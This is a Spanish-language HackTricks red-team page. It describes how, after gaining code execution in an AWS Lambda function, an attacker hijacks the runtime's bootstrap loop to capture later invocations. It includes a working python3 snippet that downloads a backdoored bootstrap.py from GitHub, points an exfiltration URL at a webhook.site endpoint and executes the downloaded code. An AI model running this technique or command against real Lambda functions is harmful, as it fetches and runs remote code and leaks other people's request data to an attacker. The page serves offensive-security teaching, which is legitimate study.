AWS - Steal Lambda Requests

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Flujo de Lambda

  1. Slicer es un proceso fuera del contenedor que envía invocaciones al proceso init.

  2. El proceso init escucha en el puerto 9001 exponiendo algunos endpoints interesantes:

  • /2018-06-01/runtime/invocation/next – obtener el próximo evento de invocación

  • /2018-06-01/runtime/invocation/{invoke-id}/response – devolver la respuesta del controlador para la invocación

  • /2018-06-01/runtime/invocation/{invoke-id}/error – devolver un error de ejecución

  1. bootstrap.py tiene un bucle que recibe invocaciones del proceso init y llama al código de los usuarios para manejarlas (/next).

  2. Finalmente, bootstrap.py envía la respuesta al init.

Ten en cuenta que bootstrap carga el código de usuario como un módulo, por lo que cualquier ejecución de código realizada por el código de los usuarios en realidad ocurre en este proceso.

Robar Solicitudes de Lambda

El objetivo de este ataque es hacer que el código de los usuarios ejecute un proceso malicioso bootstrap.py dentro del proceso bootstrap.py que maneja la solicitud vulnerable. De esta manera, el proceso bootstrap malicioso comenzará a comunicarse con el proceso init para manejar las solicitudes mientras el bootstrap legítimo está atrapado ejecutando el malicioso, por lo que no solicitará más solicitudes al proceso init.

Esta es una tarea sencilla de lograr, ya que el código del usuario se está ejecutando por el bootstrap.py legítimo. Por lo tanto, el atacante podría:

  • Enviar un resultado falso de la invocación actual al proceso init, para que init piense que el proceso bootstrap está esperando más invocaciones.

  • Se debe enviar una solicitud a /${invoke-id}/response

  • El invoke-id se puede obtener de la pila del bootstrap.py legítimo utilizando el módulo de python inspect (como se propone aquí) o simplemente solicitándolo nuevamente a /2018-06-01/runtime/invocation/next (como se propone aquí).

  • Ejecutar un bootstrap.py malicioso que manejará las próximas invocaciones

  • Con fines de sigilo, es posible enviar los parámetros de las invocaciones de lambda a un C2 controlado por los atacantes y luego manejar las solicitudes como de costumbre.

  • Para este ataque, es suficiente obtener el código original de bootstrap.py del sistema o de github, agregar el código malicioso y ejecutarlo desde la invocación actual de lambda.

Pasos del Ataque

  1. Encuentra una vulnerabilidad de RCE.

  2. Ejecuta el bootstrap malicioso.

Puedes realizar fácilmente estas acciones ejecutando:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Para obtener más información, visita https://github.com/carlospolop/lambda_bootstrap_switcher

Referencias

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización